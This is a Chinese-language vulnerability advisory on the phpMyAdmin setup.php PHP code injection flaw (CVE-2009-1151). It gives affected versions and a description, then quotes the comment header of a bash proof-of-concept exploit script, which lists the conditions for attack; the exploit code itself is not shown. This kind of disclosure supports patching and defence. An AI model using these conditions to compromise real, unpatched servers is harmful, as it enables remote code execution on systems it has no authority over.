phpMyAdmin setup.php脚本PHP代码注入漏洞

cxs7225032

影响版本:

phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x

漏洞描述:
phpMyAdmin是用PHP编写的工具，用于通过WEB管理MySQL。
phpMyAdmin的Setup脚本用于生成配置。如果远程***者向该脚本提交了特制的POST请求的话，就可能在生成的config.inc.php 配置文件中包含任意PHP代码。由于配置文件被保存到了服务器上，未经认证的远程***者可以利用这个漏洞执行任意PHP代码。

#!/bin/bash
# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,   
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!
# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)
# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)
